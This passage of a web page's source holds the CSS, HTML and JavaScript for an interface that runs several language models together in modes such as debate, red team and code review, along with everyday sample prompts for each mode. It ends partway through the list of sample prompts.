.output-card .card-body::-webkit-scrollbar { width: 3px; }
|
|
.output-card .card-body::-webkit-scrollbar-track { background: transparent; }
|
|
.output-card .card-body::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.m-toggle { display: none; }
|
|
.m-collapse { display: block !important; }
|
|
@media (max-width: 900px) { .grid { grid-template-columns: 1fr; } }
|
|
@media (max-width: 768px) { .m-toggle { display: flex; } .m-collapse { display: none !important; } .m-collapse.open { display: block !important; } }
|
|
.card-actions { display: flex; gap: 4px; padding: 6px 14px 10px; }
|
|
.card-act { background: none; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); font-size: 9px; padding: 3px 10px; cursor: pointer; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.card-act:hover { border-color: var(--accent); color: var(--accent); }
|
|
.card-act.copied { border-color: var(--green); color: var(--green); }
|
|
.repipe-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.75); z-index: 200; display: none; align-items: center; justify-content: center; backdrop-filter: blur(4px); }
|
|
.repipe-overlay.open { display: flex; }
|
|
.repipe-modal { background: rgba(14,16,22,0.95); border: 2px solid var(--border); border-radius: 2px; width: 700px; max-width: 90vw; max-height: 85vh; display: flex; flex-direction: column; overflow: hidden; backdrop-filter: blur(20px); }
|
|
.repipe-header { padding: 14px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; }
|
|
.repipe-header h3 { font-size: 14px; flex: 1; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-header .repipe-close { background: none; border: none; color: var(--text2); font-size: 18px; cursor: pointer; }
|
|
.repipe-body { padding: 14px 18px; overflow-y: auto; flex: 1; }
|
|
.repipe-text { background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; padding: 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 300px; overflow-y: auto; margin-bottom: 14px; color: var(--text); }
|
|
.repipe-text::-webkit-scrollbar { width: 3px; }
|
|
.repipe-text::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.repipe-actions { display: flex; flex-wrap: wrap; gap: 6px; margin-bottom: 14px; }
|
|
.repipe-btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.repipe-btn.primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.repipe-btn.primary:hover { background: var(--accent2); }
|
|
.repipe-section { font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin: 12px 0 6px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-modes { display: flex; flex-wrap: wrap; gap: 4px; }
|
|
.repipe-mode { padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text2); cursor: pointer; font-size: 11px; transition: all 0.15s; }
|
|
.repipe-mode:hover { border-color: var(--accent); color: var(--text); }
|
|
.repipe-mode.sel { border-color: var(--accent); background: var(--glow); color: var(--accent); }
|
|
.history-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 90; display: none; backdrop-filter: blur(2px); }
|
|
.history-overlay.open { display: block; }
|
|
.history-panel { position: fixed; top: 0; right: 0; width: 480px; height: 100vh; background: rgba(14,16,22,0.95); border-left: 2px solid var(--border); z-index: 100; transform: translateX(100%); transition: transform 0.25s; overflow-y: auto; display: flex; flex-direction: column; backdrop-filter: blur(20px); }
|
|
.history-panel.open { transform: translateX(0); }
|
|
.history-panel::-webkit-scrollbar { width: 3px; }
|
|
.history-panel::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.hp-header { padding: 16px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; flex-shrink: 0; }
|
|
.hp-header h2 { font-size: 14px; font-weight: 700; flex: 1; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
|
|
.hp-close { background: none; border: none; color: var(--text2); font-size: 20px; cursor: pointer; padding: 4px; }
|
|
.hp-close:hover { color: var(--text); }
|
|
.hp-list { flex: 1; overflow-y: auto; padding: 8px; }
|
|
.hp-item { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; padding: 12px; margin-bottom: 6px; cursor: pointer; transition: border-color 0.15s; }
|
|
.hp-item:hover { border-color: var(--accent); }
|
|
.hp-item .hp-mode { font-size: 9px; text-transform: uppercase; letter-spacing: 1.5px; color: var(--accent); font-weight: 700; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-item .hp-prompt { font-size: 13px; margin: 4px 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
|
.hp-item .hp-meta { font-size: 10px; color: var(--text2); display: flex; gap: 10px; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-detail { padding: 12px 18px; }
|
|
.hp-detail .hp-back { background: none; border: none; color: var(--accent); cursor: pointer; font-size: 11px; margin-bottom: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
|
|
.hp-detail .hp-actions { display: flex; gap: 6px; margin-bottom: 12px; }
|
|
.hp-detail .hp-btn { padding: 5px 12px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
|
|
.hp-detail .hp-btn:hover { border-color: var(--accent); }
|
|
.hp-detail .hp-btn-del { border-color: var(--red); color: var(--red); }
|
|
.hp-resp { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 6px; overflow: hidden; }
|
|
.hp-resp-header { padding: 8px 12px; border-bottom: 2px solid var(--border); font-size: 11px; font-weight: 600; display: flex; gap: 6px; align-items: center; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-resp-body { padding: 10px 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 200px; overflow-y: auto; }
|
|
@media (max-width: 768px) {
|
|
.container { padding: 10px; }
|
|
header { padding: 10px 0; margin-bottom: 10px; flex-wrap: wrap; gap: 8px; }
|
|
header h1 { font-size: 16px; }
|
|
header .badge { font-size: 9px; padding: 3px 8px; }
|
|
header nav { gap: 3px; }
|
|
header nav a, header nav button, header nav span { font-size: 10px !important; padding: 3px 6px !important; }
|
|
.grid { grid-template-columns: 1fr; }
|
|
.grid > .left-scroll { order: 2; max-height: none; }
|
|
.grid > .panel:last-child { order: 1; }
|
|
.left-scroll { display: flex; flex-direction: column; gap: 8px; }
|
|
.left-scroll > .panel:first-child { order: 2; }
|
|
.left-scroll > .panel:last-child { order: 1; }
|
|
.m-toggle { display: flex; align-items: center; gap: 8px; padding: 10px; background: var(--surface); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; margin-bottom: 8px; font-size: 12px; font-weight: 700; color: var(--accent); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(16px); }
|
|
.m-toggle::after { content: ''; margin-left: auto; width: 0; height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-top: 6px solid var(--text2); transition: transform 0.2s; }
|
|
.m-toggle.open::after { transform: rotate(180deg); }
|
|
.m-collapse { display: none; }
|
|
.m-collapse.open { display: block; }
|
|
.mode-grid { grid-template-columns: repeat(3, 1fr); gap: 4px; margin-bottom: 10px; }
|
|
.mode-tab { padding: 6px 3px; font-size: 10px; }
|
|
.mode-tab small { font-size: 7px; }
|
|
.model-card { padding: 6px 8px; }
|
|
.model-card .name { font-size: 11px; }
|
|
.prompt-area { min-height: 60px; font-size: 14px; }
|
|
.run-btn { padding: 14px; font-size: 14px; }
|
|
.output-card .card-body { font-size: 13px; max-height: 600px; }
|
|
.card-actions { flex-wrap: wrap; }
|
|
.panel { padding: 12px; }
|
|
.panel h2 { font-size: 9px; margin-bottom: 10px; }
|
|
.config-row { font-size: 11px; }
|
|
.config-row label { width: 70px; }
|
|
.mode-desc { font-size: 10px; padding: 6px 10px; }
|
|
.empty-state { padding: 40px 16px; }
|
|
.empty-state .icon { font-size: 24px; }
|
|
.history-panel { width: 100%; }
|
|
.repipe-modal { width: 95vw; }
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="vignette"></div>
|
|
<div class="container">
|
|
<header>
|
|
<h1><span>LLM</span> Team</h1>
|
|
<div class="badge" id="model-count"><span class="dot"></span>0 models</div>
|
|
<nav style="margin-left:auto;display:flex;align-items:center;gap:4px">
|
|
<button onclick="toggleHistory()" style="color:var(--text2);background:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;cursor:pointer;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">History</button>
|
|
<a href="/lab" style="color:var(--green);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid rgba(74,222,128,0.2);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Lab</a>
|
|
<a href="/admin" style="color:var(--text2);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Admin</a>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 4px"></span>
|
|
<button id="demo-toggle" onclick="toggleDemo()" style="display:none;color:var(--orange);background:none;font-size:9px;padding:4px 8px;border:2px solid rgba(245,158,11,0.3);border-radius:2px;cursor:pointer;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Demo</button>
|
|
<a href="/logout" style="color:var(--text2);text-decoration:none;font-size:9px;padding:4px 8px;opacity:0.4;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Logout</a>
|
|
</nav>
|
|
</header>
|
|
<div class="grid">
|
|
<div class="left-scroll">
|
|
<div class="m-toggle" onclick="this.classList.toggle('open');document.getElementById('mode-collapse').classList.toggle('open')" id="mode-toggle">Mode: <span id="mode-label">Brainstorm</span></div>
|
|
<div class="m-collapse" id="mode-collapse">
|
|
<div class="panel">
|
|
<h2>Mode</h2>
|
|
<div class="mode-grid">
|
|
<div class="mode-tab active" data-mode="brainstorm" onclick="setMode('brainstorm')">Brainstorm<small>All + synthesize</small></div>
|
|
<div class="mode-tab" data-mode="pipeline" onclick="setMode('pipeline')">Pipeline<small>Chain sequence</small></div>
|
|
<div class="mode-tab" data-mode="debate" onclick="setMode('debate')">Debate<small>Argue + judge</small></div>
|
|
<div class="mode-tab" data-mode="validator" onclick="setMode('validator')">Validator<small>Fact-check</small></div>
|
|
<div class="mode-tab" data-mode="roundrobin" onclick="setMode('roundrobin')">Round Robin<small>Iterate improve</small></div>
|
|
<div class="mode-tab" data-mode="redteam" onclick="setMode('redteam')">Red Team<small>Attack + defend</small></div>
|
|
<div class="mode-tab" data-mode="consensus" onclick="setMode('consensus')">Consensus<small>Converge</small></div>
|
|
<div class="mode-tab" data-mode="codereview" onclick="setMode('codereview')">Code Review<small>Write+review+test</small></div>
|
|
<div class="mode-tab" data-mode="ladder" onclick="setMode('ladder')">ELI Ladder<small>5 levels</small></div>
|
|
<div class="mode-tab" data-mode="tournament" onclick="setMode('tournament')">Tournament<small>Compete + vote</small></div>
|
|
<div class="mode-tab" data-mode="evolution" onclick="setMode('evolution')">Evolution<small>Genetic algo</small></div>
|
|
<div class="mode-tab" data-mode="blindassembly" onclick="setMode('blindassembly')">Blind Assembly<small>Split + merge</small></div>
|
|
<div class="mode-tab" data-mode="staircase" onclick="setMode('staircase')">Staircase<small>Add constraints</small></div>
|
|
<div class="mode-tab" data-mode="drift" onclick="setMode('drift')">Drift Detect<small>Confidence map</small></div>
|
|
<div class="mode-tab" data-mode="mesh" onclick="setMode('mesh')">Perspective<small>Stakeholder 360</small></div>
|
|
<div class="mode-tab" data-mode="hallucination" onclick="setMode('hallucination')">Hallucinate?<small>Claim verify</small></div>
|
|
<div class="mode-tab crazy" data-mode="timeloop" onclick="setMode('timeloop')">Time Loop<small>Catastrophe fix!</small></div>
|
|
</div>
|
|
<div style="font-size:8px;text-transform:uppercase;letter-spacing:3px;color:var(--accent);margin:-8px 0 8px;opacity:0.5;font-family:'JetBrains Mono',monospace;font-weight:600">Autonomous Pipelines</div>
|
|
<div class="mode-grid" style="grid-template-columns:repeat(3,1fr);margin-bottom:16px">
|
|
<div class="mode-tab" data-mode="research" onclick="setMode('research')" style="border-color:var(--green);border-width:1px">Research<small>Auto brief</small></div>
|
|
<div class="mode-tab" data-mode="eval" onclick="setMode('eval')" style="border-color:var(--orange);border-width:1px">Model Eval<small>Benchmark</small></div>
|
|
<div class="mode-tab" data-mode="extract" onclick="setMode('extract')" style="border-color:var(--blue);border-width:1px">Knowledge<small>Extract facts</small></div>
|
|
</div>
|
|
<div class="mode-desc" id="mode-desc">All models answer in parallel, then one synthesizes the best parts into a final answer.</div>
|
|
|
|
<!-- BRAINSTORM -->
|
|
<div id="config-brainstorm" class="config-section">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-brainstorm"></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="synthesizer"></select></div>
|
|
</div>
|
|
<!-- PIPELINE -->
|
|
<div id="config-pipeline" class="config-section" style="display:none">
|
|
<h2>Pipeline Steps</h2>
|
|
<div id="pipeline-steps"></div>
|
|
<button class="add-step-btn" onclick="addPipelineStep()">+ Add Step</button>
|
|
</div>
|
|
<!-- DEBATE -->
|
|
<div id="config-debate" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Debater 1</label><select id="debater1"></select></div>
|
|
<div class="config-row"><label>Debater 2</label><select id="debater2"></select></div>
|
|
<div class="config-row"><label>Judge</label><select id="debate-judge"></select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="debate-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- VALIDATOR -->
|
|
<div id="config-validator" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="validator-answerer"></select></div>
|
|
<h2 style="margin-top:12px">Validators</h2>
|
|
<div class="model-list" id="ml-validator"></div>
|
|
</div>
|
|
<!-- ROUND ROBIN -->
|
|
<div id="config-roundrobin" class="config-section" style="display:none">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-roundrobin"></div>
|
|
<div class="config-row"><label>Cycles</label><input type="number" id="roundrobin-cycles" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- RED TEAM -->
|
|
<div id="config-redteam" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Author</label><select id="redteam-author"></select></div>
|
|
<div class="config-row"><label>Attacker</label><select id="redteam-attacker"></select></div>
|
|
<div class="config-row"><label>Patcher</label><select id="redteam-patcher"></select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="redteam-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- CONSENSUS -->
|
|
<div id="config-consensus" class="config-section" style="display:none">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-consensus"></div>
|
|
<div class="config-row"><label>Max Rounds</label><input type="number" id="consensus-rounds" value="3" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- CODE REVIEW -->
|
|
<div id="config-codereview" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Coder</label><select id="codereview-coder"></select></div>
|
|
<div class="config-row"><label>Reviewer</label><select id="codereview-reviewer"></select></div>
|
|
<div class="config-row"><label>Tester</label><select id="codereview-tester"></select></div>
|
|
</div>
|
|
<!-- LADDER -->
|
|
<div id="config-ladder" class="config-section" style="display:none">
|
|
<h2>Models (rotated across 5 levels)</h2>
|
|
<div class="model-list" id="ml-ladder"></div>
|
|
</div>
|
|
<!-- TOURNAMENT -->
|
|
<div id="config-tournament" class="config-section" style="display:none">
|
|
<h2>Competitors</h2>
|
|
<div class="model-list" id="ml-tournament"></div>
|
|
<div class="config-row"><label>Judge</label><select id="tournament-judge"></select></div>
|
|
</div>
|
|
<!-- EVOLUTION -->
|
|
<div id="config-evolution" class="config-section" style="display:none">
|
|
<h2>Gene Pool (models)</h2>
|
|
<div class="model-list" id="ml-evolution"></div>
|
|
<div class="config-row"><label>Generations</label><input type="number" id="evolution-gens" value="3" min="1" max="5" style="width:60px;flex:none"></div>
|
|
<div class="config-row"><label>Fitness Judge</label><select id="evolution-judge"></select></div>
|
|
</div>
|
|
<!-- BLIND ASSEMBLY -->
|
|
<div id="config-blindassembly" class="config-section" style="display:none">
|
|
<h2>Workers (each gets a sub-task)</h2>
|
|
<div class="model-list" id="ml-blindassembly"></div>
|
|
<div class="config-row"><label>Assembler</label><select id="blind-assembler"></select></div>
|
|
</div>
|
|
<!-- STAIRCASE -->
|
|
<div id="config-staircase" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="staircase-answerer"></select></div>
|
|
<div class="config-row"><label>Challenger</label><select id="staircase-challenger"></select></div>
|
|
<div class="config-row"><label>Steps</label><input type="number" id="staircase-steps" value="4" min="2" max="8" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- DRIFT -->
|
|
<div id="config-drift" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Target Model</label><select id="drift-target"></select></div>
|
|
<div class="config-row"><label>Samples</label><input type="number" id="drift-samples" value="5" min="3" max="10" style="width:60px;flex:none"></div>
|
|
<div class="config-row"><label>Analyzer</label><select id="drift-analyzer"></select></div>
|
|
</div>
|
|
<!-- MESH -->
|
|
<div id="config-mesh" class="config-section" style="display:none">
|
|
<h2>Models (rotated across perspectives)</h2>
|
|
<div class="model-list" id="ml-mesh"></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="mesh-synthesizer"></select></div>
|
|
</div>
|
|
<!-- HALLUCINATION -->
|
|
<div id="config-hallucination" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="halluc-answerer"></select></div>
|
|
<h2 style="margin-top:12px">Hunters</h2>
|
|
<div class="model-list" id="ml-hallucination"></div>
|
|
</div>
|
|
<!-- TIME LOOP -->
|
|
<div id="config-timeloop" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="timeloop-answerer"></select></div>
|
|
<div class="config-row"><label>Chaos Agent</label><select id="timeloop-chaos"></select></div>
|
|
<div class="config-row"><label>Loops</label><input type="number" id="timeloop-loops" value="4" min="2" max="8" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- RESEARCH PIPELINE -->
|
|
<div id="config-research" class="config-section" style="display:none">
|
|
<h2>Research Pipeline</h2>
|
|
<div class="config-row"><label>Scout</label><select id="research-scout"></select></div>
|
|
<div class="config-row"><label>Researchers</label></div>
|
|
<div class="model-list" id="ml-research"></div>
|
|
<div class="config-row"><label>Fact-checker</label><select id="research-checker"></select></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="research-synth"></select></div>
|
|
<div class="config-row"><label>Questions</label><input type="number" id="research-questions" value="5" min="3" max="15" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- MODEL EVAL PIPELINE -->
|
|
<div id="config-eval" class="config-section" style="display:none">
|
|
<h2>Model Evaluation</h2>
|
|
<div class="model-list" id="ml-eval"></div>
|
|
<div class="config-row"><label>Judge</label><select id="eval-judge"></select></div>
|
|
<div class="config-row"><label>Eval Type</label><select id="eval-type">
|
|
<option value="general">General Knowledge</option>
|
|
<option value="reasoning">Reasoning</option>
|
|
<option value="coding">Coding</option>
|
|
<option value="creative">Creative Writing</option>
|
|
<option value="instruction">Instruction Following</option>
|
|
</select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="eval-rounds" value="3" min="1" max="10" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- KNOWLEDGE EXTRACTION -->
|
|
<div id="config-extract" class="config-section" style="display:none">
|
|
<h2>Knowledge Extraction</h2>
|
|
<div class="config-row"><label>Extractor</label><select id="extract-model"></select></div>
|
|
<div class="config-row"><label>Verifier</label><select id="extract-verifier"></select></div>
|
|
<div class="config-row"><label>Source</label><select id="extract-source">
|
|
<option value="prompt">From Prompt Text</option>
|
|
<option value="ontology">ONTOLOGY.md</option>
|
|
<option value="index">INDEX.md</option>
|
|
<option value="summaries">SUMMARIES.md</option>
|
|
<option value="guides">GUIDES.md</option>
|
|
</select></div>
|
|
</div>
|
|
</div>
|
|
</div><!-- end m-collapse -->
|
|
<div class="panel">
|
|
<h2>Prompt</h2>
|
|
<textarea class="prompt-area" id="prompt" placeholder="What should your team work on?"></textarea>
|
|
<div class="sample-prompts" id="sample-prompts"></div>
|
|
<button class="run-btn" id="run-btn" onclick="runTeam()">Run Team</button>
|
|
</div>
|
|
</div>
|
|
<div class="panel">
|
|
<h2>Output</h2>
|
|
<div class="output-area" id="output">
|
|
<div class="empty-state"><div class="icon">◆ ◆ ◆</div><p>Select a <strong>mode</strong>, pick your <strong>models</strong>, and enter a prompt to run the team.</p></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<script>
|
|
const COLORS = ['#6366f1','#22c55e','#f59e0b','#3b82f6','#ef4444','#ec4899','#14b8a6','#f97316'];
|
|
let availableModels = [];
|
|
let currentMode = 'brainstorm';
|
|
|
|
const modelSets = {};
|
|
const ML_IDS = ['ml-brainstorm','ml-validator','ml-roundrobin','ml-consensus','ml-ladder','ml-tournament','ml-evolution','ml-blindassembly','ml-mesh','ml-hallucination','ml-research','ml-eval'];
|
|
|
|
const MODE_DESCS = {
|
|
brainstorm: 'All models answer in parallel, then one synthesizes the best parts.',
|
|
pipeline: 'Chain models in sequence with custom instructions. Each builds on previous output.',
|
|
debate: 'Two models debate over rounds, a judge picks the stronger position.',
|
|
validator: 'One answers, multiple validators fact-check and score 1-10.',
|
|
roundrobin: 'Models take turns improving the answer over multiple cycles.',
|
|
redteam: 'Author writes, attacker finds flaws, patcher fixes. Repeats N rounds.',
|
|
consensus: 'All answer independently, then iterate seeing each other until they converge.',
|
|
codereview: 'Coder writes code, reviewer critiques, tester writes unit tests.',
|
|
ladder: 'Same question at 5 levels: 5yo, teenager, college, professional, PhD.',
|
|
tournament: 'All compete, judge ranks and refines the winner.',
|
|
evolution: 'Genetic algorithm! Models generate variations, fitness judge scores, best answers breed and mutate across generations.',
|
|
blindassembly: 'Question split into sub-parts. Each model answers ONLY their piece blind. An assembler stitches fragments into a coherent whole.',
|
|
staircase: "Devil's Staircase: answer the question, then each round a challenger adds a new constraint. Answerer must adapt to ALL accumulated constraints.",
|
|
drift: 'Same prompt sent to same model N times. Analyzer maps what is consistent (confident) vs. what varies (uncertain/hallucinated).',
|
|
mesh: 'Each model answers as a different stakeholder (CEO, engineer, user, regulator, competitor). One weaves a 360-degree view.',
|
|
hallucination: 'One answers, then hunters independently verify EACH factual claim. Cross-references to flag likely hallucinations.',
|
|
timeloop: 'CHAOS MODE: Model answers, then a Chaos Agent says "your answer caused a catastrophe!" and describes what went wrong. Answerer must fix it. But each fix causes a NEW catastrophe. Loop until bulletproof!',
|
|
research: 'AUTONOMOUS: Scout generates research questions, multiple models research in parallel, fact-checker verifies, synthesizer produces a structured brief. Full pipeline saved to DB.',
|
|
eval: 'AUTONOMOUS: Same prompts sent to all selected models. Judge scores each on accuracy, reasoning, clarity. Produces a ranked leaderboard across multiple rounds.',
|
|
extract: 'AUTONOMOUS: Extracts structured facts, entities, and relationships from text or local docs. Verifier cross-checks claims. Output saved as queryable JSON.'
|
|
};
|
|
|
|
const SAMPLE_PROMPTS = {
|
|
brainstorm: [
|
|
'What are practical ways a small town could become energy independent within 10 years?',
|
|
'Design a mentorship program that pairs retired professionals with first-generation college students — cover matching criteria, structure, and how to measure success.',
|
|
'A hospital wants to reduce ER wait times by 40% without hiring more staff. Propose a comprehensive strategy covering triage redesign, technology, patient flow, and communication.'
|
|
],
|
|
pipeline: [
|
|
'Write a short fable about a fox who learns patience, then translate it to Spanish, then analyze the cultural differences in how the moral lands.',
|
|
'Take this business idea — "AI-powered meal planning for people with multiple food allergies" — and first do market analysis, then write a pitch deck outline, then draft the cold email to investors.',
|
|
'Research the history of cryptography, identify the 3 most pivotal breakthroughs, explain how each one would have changed the outcome of a specific historical conflict, then write a short alternate-history scenario for the most dramatic one.'
|
|
],
|
|
debate: [
|
|
'Should cities ban cars from downtown areas?',
|
|
'Is it more ethical for AI companies to open-source their models or keep them proprietary? Consider safety, innovation, equity, and economic factors.',
|
|
'A nation discovers a high-yield asteroid mining opportunity, but the mission would consume their entire science budget for 5 years, halting medical research, climate science, and education programs. Should they go?'
|
|
],
|
|
validator: [
|
|
'The Great Wall of China is the only man-made structure visible from space.',
|
|
'Exposure to cold weather causes colds, sugar causes hyperactivity in children, and we only use 10% of our brains. Also, lightning never strikes the same place twice and goldfish have a 3-second memory.',
|
|
'The 2008 financial crisis was primarily caused by the Community Reinvestment Act forcing banks to give mortgages to unqualified buyers. Glass-Steagall repeal had minimal impact, and credit default swaps were a minor factor. The crisis was largely confined to the US housing market.'
|
|
],
|
|
roundrobin: [
|
|
'Write an opening paragraph for a mystery novel set in a lighthouse.',
|
|
'Draft a product requirements document for a mobile app that helps people split household chores fairly among roommates. Each iteration should add depth to a different section.',
|
|
'Create a comprehensive disaster recovery plan for a mid-size SaaS company. Cover data backup, infrastructure failover, communication protocols, compliance requirements, and testing schedules.'
|
|
],
|
|
redteam: [
|
|
'Here is our password policy: minimum 8 characters, must include a number. Find the weaknesses.',
|
|
'Our startup plans to store user health data in a Firebase Realtime Database with client-side security rules. The mobile app sends JWT tokens directly from the client. Identify every attack vector.',
|
|
'We are building an AI hiring tool that screens resumes, scores candidates 1-100, and auto-rejects below 60. It was trained on our last 5 years of successful hires. The system also parses social media for culture fit. Red team this for bias, legal risk, and adversarial attacks.'
|
|
],
|
|
consensus: [
|
|
'What is the single most important skill for a new software developer to learn first?',
|
|
'A company has $500K to invest in employee development. Should they spend it on individual training budgets, a company-wide mentorship program, sending teams to conferences, or building an internal learning platform?',
|
|
'How should a democratic society balance free speech with protection from misinformation, considering platform responsibility, individual rights, government regulation, and algorithmic amplification?'
|
|
],
|
|
codereview: [
|
|
'Write a Python function that finds all anagrams in a list of words.',
|
|
'Build a rate limiter middleware for Express.js that supports per-user limits, sliding windows, and graceful degradation when Redis is unavailable.',
|
|
'Implement a concurrent-safe LRU cache in Go with TTL expiration, size-based eviction, hit/miss metrics, and a write-behind buffer that batches persistence to disk.'
|
|
],
|
|
ladder: [
|
|
'How does encryption work?',
|
|
'Why do economies go through boom and bust cycles? Cover from basic intuition through monetary policy, credit cycles, behavioral economics, and systemic risk modeling.',
|
|
'How does CRISPR gene editing work, what are the ethical implications of germline editing, and what regulatory frameworks exist across different countries?'
|
|
],
|
|
tournament: [
|
|
'Write the most compelling opening line for a sci-fi novel.',
|
|
'Propose the best strategy for a small e-commerce business to compete with Amazon on a specific product category. Each model picks a different strategy.',
|
|
'Design an algorithm to fairly allocate limited vaccine doses across a city of 2 million during a pandemic. Optimize for minimizing deaths while considering equity, essential workers, and logistics.'
|
|
],
|
|
evolution: [
|
|
'Generate a company name for a sustainable packaging startup.',
|
|
'Evolve the perfect elevator pitch for a startup that uses satellite imagery and AI to predict crop failures before they happen. Mutate for clarity, impact, and memorability.',
|
|
'Evolve an optimal urban intersection design that minimizes pedestrian fatalities, maximizes throughput, accommodates cyclists and wheelchairs, handles emergency vehicles, and works in all seasons.'
|
|
],
|
|
blindassembly: [
|
|
'Explain how the internet works, with each model covering a different layer of the stack.',
|
|
'Write a business plan for a coworking space — split into market analysis, financial model, operations plan, and marketing strategy. No model sees the others.',
|
|
'Design a smart city emergency response system. Split into: sensor network, dispatch AI, citizen communication, hospital coordination, and post-incident analysis. Each model works blind.'
|
|
],
|
|
staircase: [
|
|
'Plan a birthday party. Then: budget is only $50. Then: one guest has severe allergies. Then: it starts raining.',
|
|
'Design a social media app. Add: must work offline-first. Add: no centralized server. Add: must be accessible to visually impaired users. Add: must comply with GDPR, COPPA, and CCPA.',
|
|
'Write a peace treaty between two fictional nations. Add: one side has all the water. Add: the other has all the farmland. Add: a third nation controls the only trade route. Add: election in 30 days. Add: climate disaster in 90 days.'
|
|
],
|
|
drift: [
|
|
'What year was the first email sent?',
|
|
'Explain the trolley problem and give your definitive answer on the correct moral choice. Map whether the model is consistent or waffles between positions.',
|
|
'Estimate the total number of piano tuners in Chicago, then describe the exact sequence of events causing the 2003 Northeast blackout. Map which claims are rock-solid vs. which shift each run.'
|
|
],
|
|
mesh: [
|
|
'Should our company adopt a 4-day work week?',
|
|
'A tech company wants to deploy facial recognition in their office. Get perspectives from the CISO, employees, legal team, disability advocates, and night-shift cleaning staff.',
|
|
'A pharma company discovers their blockbuster drug has a rare side effect (1 in 50,000) but helps 2 million people. Get views from the CEO, chief medical officer, patient advocates, the FDA, a plaintiff attorney, shareholders, and an investigative journalist.'
|
|
],
|
|
hallucination: [
|
|
'Tell me about the founding of Stanford University.',
|
|
'Explain the Tuskegee Syphilis Study — when it started, who ran it, what happened, when and why it ended, and what policy changes resulted. Include specific dates and names.',
|
|
